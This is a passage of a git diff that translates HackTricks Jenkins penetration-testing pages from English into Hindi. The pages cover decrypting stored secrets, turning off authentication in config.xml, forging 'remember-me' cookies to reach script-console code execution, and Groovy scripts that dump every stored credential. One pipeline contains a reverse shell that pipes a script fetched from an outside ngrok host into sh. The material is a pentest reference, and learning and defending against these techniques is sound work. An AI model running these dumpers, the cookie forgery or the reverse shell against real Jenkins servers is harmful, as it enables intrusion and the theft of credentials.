"^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" @@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` +#### Jenkins रहस्यों को ऑफ़लाइन डिक्रिप्ट करें -#### Decrypt Jenkins secrets offline - -If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**. - +यदि आपने **रहस्यों को डिक्रिप्ट करने के लिए आवश्यक पासवर्ड्स को डंप किया है**, तो **उन रहस्यों को डिक्रिप्ट करने के लिए [**यह स्क्रिप्ट**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) का उपयोग करें**। ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` - -#### Decrypt Jenkins secrets from Groovy - +#### Groovy से Jenkins रहस्यों को डिक्रिप्ट करें ```bash println(hudson.util.Secret.decrypt("{...}")) ``` +### नया प्रशासनिक उपयोगकर्ता बनाएं -### Create new admin user +1. `/var/lib/jenkins/config.xml` या `C:\Program Files (x86)\Jenkis\` में Jenkins config.xml फ़ाइल तक पहुँचें। +2. `true` शब्द के लिए खोजें और **`true`** शब्द को **`false`** में बदलें। +1. `sed -i -e 's/truefalsetrue` में बदलकर **सुरक्षा** को फिर से **सक्षम** करें और **Jenkins को फिर से पुनः प्रारंभ** करें। -1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\` -2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**. - 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**. - -## References +## संदर्भ - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) @@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}")) - [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 6e62a8536..404851b5d 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -6,48 +6,48 @@ ### Username + Password -The most common way to login in Jenkins if with a username or a password +Jenkins में लॉगिन करने का सबसे सामान्य तरीका एक उपयोगकर्ता नाम या पासवर्ड है। ### Cookie -If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen). +यदि एक **अधिकृत कुकी चुराई जाती है**, तो इसका उपयोग उपयोगकर्ता के सत्र तक पहुँचने के लिए किया जा सकता है। कुकी को आमतौर पर `JSESSIONID.*` कहा जाता है। (एक उपयोगकर्ता अपने सभी सत्रों को समाप्त कर सकता है, लेकिन उसे पहले यह पता लगाना होगा कि एक कुकी चुराई गई थी)। ### SSO/Plugins -Jenkins can be configured using plugins to be **accessible via third party SSO**. +Jenkins को प्लगइन्स का उपयोग करके **तीसरे पक्ष के SSO के माध्यम से पहुँच योग्य** बनाया जा सकता है। ### Tokens -**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API. +**उपयोगकर्ता टोकन उत्पन्न कर सकते हैं** ताकि अनुप्रयोगों को CLI या REST API के माध्यम से उनकी नकल करने की अनुमति दी जा सके। ### SSH Keys -This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/)) +यह घटक Jenkins के लिए एक अंतर्निहित SSH सर्वर प्रदान करता है। यह [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) के लिए एक वैकल्पिक इंटरफ़ेस है, और किसी भी SSH क्लाइंट का उपयोग करके इस तरह से कमांड को लागू किया जा सकता है। (From the [docs](https://plugins.jenkins.io/sshd/)) ## Authorization -In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options: +`/configureSecurity` में Jenkins के **अधिकार विधि को कॉन्फ़िगर करना संभव है**। कई विकल्प हैं: -- **Anyone can do anything**: Even anonymous access can administrate the server -- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access. -- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**. -- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**. +- **कोई भी कुछ भी कर सकता है**: यहां तक कि गुमनाम पहुँच भी सर्वर का प्रशासन कर सकती है। +- **Legacy mode**: Jenkins <1.164 के समान। यदि आपके पास **"admin" भूमिका** है, तो आपको **पूर्ण नियंत्रण** दिया जाएगा, और **अन्यथा** (जिसमें **गुमनाम** उपयोगकर्ता शामिल हैं) आपको **पढ़ने** की पहुँच मिलेगी। +- **लॉगिन किए गए उपयोगकर्ता कुछ भी कर सकते हैं**: इस मोड में, हर **लॉगिन किया हुआ उपयोगकर्ता Jenkins का पूर्ण नियंत्रण प्राप्त करता है**। एकमात्र उपयोगकर्ता जिसे पूर्ण नियंत्रण नहीं मिलेगा वह **गुमनाम उपयोगकर्ता** है, जिसे केवल **पढ़ने की पहुँच** मिलती है। +- **Matrix-based security**: आप एक तालिका में **कौन क्या कर सकता है** कॉन्फ़िगर कर सकते हैं। प्रत्येक **स्तंभ** एक **अनुमति** का प्रतिनिधित्व करता है। प्रत्येक **पंक्ति** **एक उपयोगकर्ता या समूह/भूमिका का प्रतिनिधित्व करती है।** इसमें एक विशेष उपयोगकर्ता '**गुमनाम**' शामिल है, जो **अप्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है, साथ ही '**प्रमाणित**', जो **सभी प्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है। ![](<../../images/image (149).png>) -- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.** -- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`. +- **Project-based Matrix Authorization Strategy:** यह मोड "**Matrix-based security**" का एक **विस्तार** है जो प्रत्येक परियोजना के लिए **अतिरिक्त ACL मैट्रिक्स को अलग से परिभाषित करने** की अनुमति देता है। +- **Role-Based Strategy:** **भूमिका-आधारित रणनीति** का उपयोग करके अनुमतियों को परिभाषित करने की अनुमति देता है। `/role-strategy` में भूमिकाओं का प्रबंधन करें। ## **Security Realm** -In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms: +`/configureSecurity` में **सुरक्षा क्षेत्र को कॉन्फ़िगर करना संभव है।** डिफ़ॉल्ट रूप से Jenkins में कुछ विभिन्न सुरक्षा क्षेत्रों के लिए समर्थन शामिल है: -- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/). -- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default. -- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups. -- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization. +- **Delegate to servlet container**: **Jenkins नियंत्रक चलाने वाले एक सर्वलेट कंटेनर के लिए प्रमाणीकरण को सौंपने के लिए**, जैसे [Jetty](https://www.eclipse.org/jetty/)। +- **Jenkins’ own user database:** बाहरी प्रणाली को सौंपने के बजाय प्रमाणीकरण के लिए **Jenkins के अपने अंतर्निहित उपयोगकर्ता डेटा स्टोर** का उपयोग करें। यह डिफ़ॉल्ट रूप से सक्षम है। +- **LDAP**: एक कॉन्फ़िगर किए गए LDAP सर्वर को सभी प्रमाणीकरण सौंपें, जिसमें उपयोगकर्ता और समूह दोनों शामिल हैं। +- **Unix user/group database**: **Jenkins नियंत्रक पर अंतर्निहित Unix** OS-स्तरीय उपयोगकर्ता डेटाबेस को प्रमाणीकरण के लिए सौंपता है। यह मोड अनुमतियों के लिए Unix समूहों के पुन: उपयोग की भी अनुमति देगा। -Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as: +प्लगइन्स अतिरिक्त सुरक्षा क्षेत्रों को प्रदान कर सकते हैं जो Jenkins को मौजूदा पहचान प्रणालियों में शामिल करने के लिए उपयोगी हो सकते हैं, जैसे: - [Active Directory](https://plugins.jenkins.io/active-directory) - [GitHub Authentication](https://plugins.jenkins.io/github-oauth) @@ -55,31 +55,31 @@ Plugins can provide additional security realms which may be useful for incorpora ## Jenkins Nodes, Agents & Executors -Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/): +[docs](https://www.jenkins.io/doc/book/managing/nodes/) से परिभाषाएँ: -**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold. +**Nodes** वे **मशीनें** हैं जिन पर निर्माण **एजेंट चलते हैं**। Jenkins प्रत्येक जुड़े हुए नोड की निगरानी करता है कि डिस्क स्थान, फ्री टेम्प स्पेस, फ्री स्वैप, घड़ी का समय/सिंक और प्रतिक्रिया समय। यदि इनमें से कोई भी मान कॉन्फ़िगर किए गए थ्रेशोल्ड से बाहर चला जाता है, तो एक नोड को ऑफ़लाइन ले लिया जाता है। -**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine. +**Agents** **Jenkins नियंत्रक की ओर से** **कार्य निष्पादन** का प्रबंधन करते हैं **executors** का उपयोग करके। एक एजेंट किसी भी ऑपरेटिंग सिस्टम का उपयोग कर सकता है जो Java का समर्थन करता है। निर्माण और परीक्षण के लिए आवश्यक उपकरण उस नोड पर स्थापित होते हैं जहां एजेंट चलता है; उन्हें **प्रत्यक्ष रूप से या एक कंटेनर में** (Docker या Kubernetes) स्थापित किया जा सकता है। प्रत्येक **एजेंट वास्तव में मेज़बान मशीन पर अपने स्वयं के PID के साथ एक प्रक्रिया है**। -An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time. +एक **executor** **कार्य निष्पादन के लिए एक स्लॉट** है; वास्तव में, यह **एजेंट में एक थ्रेड है**। एक नोड पर **executors की संख्या** उस नोड पर एक समय में निष्पादित होने वाले **समानांतर कार्यों** की संख्या को परिभाषित करती है। दूसरे शब्दों में, यह उस नोड पर एक समय में निष्पादित होने वाले **समानांतर Pipeline `stages`** की संख्या को निर्धारित करता है। ## Jenkins Secrets ### Encryption of Secrets and Credentials -Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include: +[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) से परिभाषा: Jenkins **गुप्त, क्रेडेंशियल्स और उनके संबंधित एन्क्रिप्शन कुंजियों** की सुरक्षा के लिए **AES का उपयोग करता है**। ये एन्क्रिप्शन कुंजियाँ `$JENKINS_HOME/secrets/` में संग्रहीत होती हैं, साथ ही मास्टर कुंजी जो इन कुंजियों की सुरक्षा के लिए उपयोग की जाती है। इस निर्देशिका को इस तरह कॉन्फ़िगर किया जाना चाहिए कि केवल ऑपरेटिंग सिस्टम उपयोगकर्ता जिसके रूप में Jenkins नियंत्रक चल रहा है, को इस निर्देशिका में पढ़ने और लिखने की पहुँच हो (यानी, `chmod` मान `0700` या उपयुक्त फ़ाइल विशेषताओं का उपयोग करके)। **मास्टर कुंजी** (जिसे कभी-कभी क्रिप्टोजार्गन में "कुंजी एन्क्रिप्शन कुंजी" कहा जाता है) **Jenkins नियंत्रक फ़ाइल सिस्टम पर \_अनएन्क्रिप्टेड\_** में **`$JENKINS_HOME/secrets/master.key`** में संग्रहीत होती है जो उस फ़ाइल तक सीधे पहुँच वाले हमलावरों के खिलाफ सुरक्षा नहीं करती है। अधिकांश उपयोगकर्ता और डेवलपर्स इन एन्क्रिप्शन कुंजियों का अप्रत्यक्ष रूप से उपयोग करेंगे या तो [Secret](https://javadoc.jenkins.io/byShortName/Secret) API के माध्यम से सामान्य गुप्त डेटा को एन्क्रिप्ट करने के लिए या क्रेडेंशियल्स API के माध्यम से। क्रिप्टोक्यूरियस के लिए, Jenkins AES का उपयोग करता है जो सिफर ब्लॉक चेनिंग (CBC) मोड में PKCS#5 पैडिंग और यादृच्छिक IVs के साथ [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) के उदाहरणों को एन्क्रिप्ट करने के लिए जो `$JENKINS_HOME/secrets/` में संग्रहीत होते हैं जिनका फ़ाइल नाम उनके `CryptoConfidentialKey` id के अनुरूप होता है। सामान्य कुंजी ids में शामिल हैं: -- `hudson.util.Secret`: used for generic secrets; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types; -- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and +- `hudson.util.Secret`: सामान्य गुप्तों के लिए उपयोग किया जाता है; +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: कुछ क्रेडेंशियल प्रकारों के लिए उपयोग किया जाता है; +- `jenkins.model.Jenkins.crumbSalt`: [CSRF सुरक्षा तंत्र](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) द्वारा उपयोग किया जाता है; और ### Credentials Access -Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project. +क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) के लिए स्कोप किया जा सकता है जिन्हें किसी भी कॉन्फ़िगर की गई परियोजना द्वारा एक्सेस किया जा सकता है, या उन्हें **विशिष्ट परियोजनाओं** (`/job//configure`) के लिए स्कोप किया जा सकता है और इसलिए केवल विशिष्ट परियोजना से ही एक्सेस किया जा सकता है। -According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials. +[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) के अनुसार: स्कोप में क्रेडेंशियल्स पाइपलाइन के लिए बिना किसी सीमा के उपलब्ध होते हैं। **निर्माण लॉग में आकस्मिक प्रदर्शन को रोकने के लिए**, क्रेडेंशियल्स को नियमित आउटपुट से **मास्क किया जाता है**, इसलिए `env` (Linux) या `set` (Windows) का एक आह्वान, या अपने वातावरण या पैरामीटर प्रिंट करने वाले कार्यक्रम **निर्माण लॉग में उन्हें प्रकट नहीं करेंगे** उन उपयोगकर्ताओं के लिए जिनके पास अन्यथा क्रेडेंशियल्स तक पहुँच नहीं होगी। -**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.** +**इसलिए, क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए एक हमलावर को, उदाहरण के लिए, उन्हें base64 करना होगा।** ## References @@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 9d2b232e1..807789f0a 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +इस ब्लॉग पोस्ट में Jenkins में Local File Inclusion भेद्यता को RCE में बदलने का एक शानदार तरीका पाया जा सकता है: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own: +यह एक AI द्वारा बनाई गई संक्षेप है उस पोस्ट के भाग की जहां एक मनमाना कुकी का निर्माण RCE प्राप्त करने के लिए स्थानीय फ़ाइल पढ़ने का दुरुपयोग किया जाता है जब तक कि मेरे पास अपने स्वयं के संक्षेप को बनाने का समय न हो: ### Attack Prerequisites -- **Feature Requirement:** "Remember me" must be enabled (default setting). -- **Access Levels:** Attacker needs Overall/Read permissions. -- **Secret Access:** Ability to read both binary and textual content from key files. +- **Feature Requirement:** "Remember me" सक्षम होना चाहिए (डिफ़ॉल्ट सेटिंग)। +- **Access Levels:** हमलावर को Overall/Read अनुमतियाँ चाहिए। +- **Secret Access:** प्रमुख फ़ाइलों से बाइनरी और पाठ्य सामग्री पढ़ने की क्षमता। ### Detailed Exploitation Process @@ -18,92 +18,88 @@ This is an AI created summary of the part of the post were the creaft of an arbi **User Information Retrieval** -- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather: - - **Username** - - **User seed** - - **Timestamp** - - **Password hash** +- प्रत्येक उपयोगकर्ता के लिए `$JENKINS_HOME/users/*.xml` से उपयोगकर्ता कॉन्फ़िगरेशन और रहस्यों तक पहुँचें: +- **Username** +- **User seed** +- **Timestamp** +- **Password hash** **Secret Key Extraction** -- Extract cryptographic keys used for signing the cookie: - - **Secret Key:** `$JENKINS_HOME/secret.key` - - **Master Key:** `$JENKINS_HOME/secrets/master.key` - - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` +- कुकी पर हस्ताक्षर करने के लिए उपयोग किए जाने वाले क्रिप्टोग्राफिक कुंजियों को निकालें: +- **Secret Key:** `$JENKINS_HOME/secret.key` +- **Master Key:** `$JENKINS_HOME/secrets/master.key` +- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` #### Step 2: Cookie Forging **Token Preparation** -- **Calculate Token Expiry Time:** +- **Token Expiry Time की गणना करें:** - ```javascript - tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time - ``` +```javascript +tokenExpiryTime = currentServerTimeInMillis() + 3600000 // वर्तमान समय में एक घंटा जोड़ें +``` -- **Concatenate Data for Token:** +- **Token के लिए डेटा को संयोजित करें:** - ```javascript - token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey - ``` +```javascript +token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey +``` **MAC Key Decryption** -- **Decrypt MAC Key File:** +- **MAC Key File को डिक्रिप्ट करें:** - ```javascript - key = toAes128Key(masterKey) // Convert master key to AES128 key format - decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file - if not decrypted.hasSuffix("::::MAGIC::::") - return ERROR; - macKey = decrypted.withoutSuffix("::::MAGIC::::") - ``` +```javascript +key = toAes128Key(masterKey) // मास्टर कुंजी को AES128 कुंजी प्रारूप में परिवर्तित करें +decrypted = AES.decrypt(macFile, key) // .mac फ़ाइल को डिक्रिप्ट करें +if not decrypted.hasSuffix("::::MAGIC::::") +return ERROR; +macKey = decrypted.withoutSuffix("::::MAGIC::::") +``` **Signature Computation** -- **Compute HMAC SHA256:** +- **HMAC SHA256 की गणना करें:** - ```javascript - mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key - tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string - ``` +```javascript +mac = HmacSHA256(token, macKey) // टोकन और MAC कुंजी का उपयोग करके HMAC की गणना करें +tokenSignature = bytesToHexString(mac) // MAC को हेक्साडेसिमल स्ट्रिंग में परिवर्तित करें +``` **Cookie Encoding** -- **Generate Final Cookie:** +- **अंतिम कुकी उत्पन्न करें:** - ```javascript - cookie = base64.encode( - username + ":" + tokenExpiryTime + ":" + tokenSignature - ) // Base64 encode the cookie data - ``` +```javascript +cookie = base64.encode( +username + ":" + tokenExpiryTime + ":" + tokenSignature +) // कुकी डेटा को Base64 में एन्कोड करें +``` #### Step 3: Code Execution **Session Authentication** -- **Fetch CSRF and Session Tokens:** - - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`. - - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie. +- **CSRF और सत्र टोकन प्राप्त करें:** +- `/crumbIssuer/api/json` पर एक अनुरोध करें ताकि `Jenkins-Crumb` प्राप्त किया जा सके। +- प्रतिक्रिया से `JSESSIONID` को कैप्चर करें, जिसका उपयोग याद रखने वाली कुकी के साथ किया जाएगा। **Command Execution Request** -- **Send a POST Request with Groovy Script:** +- **Groovy Script के साथ POST अनुरोध भेजें:** - ```bash - curl -X POST "$JENKINS_URL/scriptText" \ - --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ - --header "Jenkins-Crumb: $CRUMB" \ - --header "Content-Type: application/x-www-form-urlencoded" \ - --data-urlencode "script=$SCRIPT" - ``` +```bash +curl -X POST "$JENKINS_URL/scriptText" \ +--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ +--header "Jenkins-Crumb: $CRUMB" \ +--header "Content-Type: application/x-www-form-urlencoded" \ +--data-urlencode "script=$SCRIPT" +``` - - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment. +- Groovy स्क्रिप्ट का उपयोग सिस्टम-स्तरीय कमांड या Jenkins वातावरण के भीतर अन्य संचालन को निष्पादित करने के लिए किया जा सकता है। -The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely. +उदाहरण curl कमांड दिखाता है कि आवश्यक हेडर और कुकी के साथ Jenkins को अनुरोध कैसे किया जाए ताकि मनमाना कोड सुरक्षित रूप से निष्पादित किया जा सके। {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 8699b8159..c8ae2f0d2 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,10 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. - -You can **dump all the secrets from the Groovy Script console** in `/script` running this code +> ध्यान दें कि ये स्क्रिप्ट केवल `credentials.xml` फ़ाइल के अंदर के रहस्यों को सूचीबद्ध करेंगी, लेकिन **बिल्ड कॉन्फ़िगरेशन फ़ाइलों** में भी **अधिक क्रेडेंशियल्स** हो सकते हैं। +आप `/script` में **Groovy Script कंसोल से सभी रहस्यों को डंप** करने के लिए यह कोड चला सकते हैं। ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* @@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '') return ``` - -#### or this one: - +#### या यह: ```java import java.nio.charset.StandardCharsets; def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( - com.cloudbees.plugins.credentials.Credentials.class +com.cloudbees.plugins.credentials.Credentials.class ) for (c in creds) { - println(c.id) - if (c.properties.description) { - println(" description: " + c.description) - } - if (c.properties.username) { - println(" username: " + c.username) - } - if (c.properties.password) { - println(" password: " + c.password) - } - if (c.properties.passphrase) { - println(" passphrase: " + c.passphrase) - } - if (c.properties.secret) { - println(" secret: " + c.secret) - } - if (c.properties.secretBytes) { - println(" secretBytes: ") - println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) - println("") - } - if (c.properties.privateKeySource) { - println(" privateKey: " + c.getPrivateKey()) - } - if (c.properties.apiToken) { - println(" apiToken: " + c.apiToken) - } - if (c.properties.token) { - println(" token: " + c.token) - } - println("") +println(c.id) +if (c.properties.description) { +println(" description: " + c.description) +} +if (c.properties.username) { +println(" username: " + c.username) +} +if (c.properties.password) { +println(" password: " + c.password) +} +if (c.properties.passphrase) { +println(" passphrase: " + c.passphrase) +} +if (c.properties.secret) { +println(" secret: " + c.secret) +} +if (c.properties.secretBytes) { +println(" secretBytes: ") +println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) +println("") +} +if (c.properties.privateKeySource) { +println(" privateKey: " + c.getPrivateKey()) +} +if (c.properties.apiToken) { +println(" apiToken: " + c.apiToken) +} +if (c.properties.token) { +println(" token: " + c.token) +} +println("") } ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 89ca15223..015116338 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -2,42 +2,36 @@ {{#include ../../banners/hacktricks-training.md}} -## Creating a new Pipeline +## नया Pipeline बनाना -In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:** +"New Item" में (जो `/view/all/newJob` पर उपलब्ध है) **Pipeline** चुनें: ![](<../../images/image (235).png>) -In the **Pipeline section** write the **reverse shell**: +**Pipeline सेक्शन** में **reverse shell** लिखें: ![](<../../images/image (285).png>) - ```groovy pipeline { - agent any +agent any - stages { - stage('Hello') { - steps { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh - ''' - } - } - } +stages { +stage('Hello') { +steps { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh +''' +} +} +} } ``` - -Finally click on **Save**, and **Build Now** and the pipeline will be executed: +अंत में **Save** पर क्लिक करें, और **Build Now** पर क्लिक करें और पाइपलाइन निष्पादित होगी: ![](<../../images/image (228).png>) -## Modifying a Pipeline +## पाइपलाइन को संशोधित करना -If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed. +यदि आप किसी कॉन्फ़िगर की गई पाइपलाइन की कॉन्फ़िगरेशन फ़ाइल तक पहुँच सकते हैं, तो आप बस **अपना रिवर्स शेल जोड़कर इसे संशोधित कर सकते हैं** और फिर इसे निष्पादित करें या इसके निष्पादित होने की प्रतीक्षा करें। {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index f16096070..3435b08c2 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -4,37 +4,33 @@ ## Creating a Project -This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project). +यह 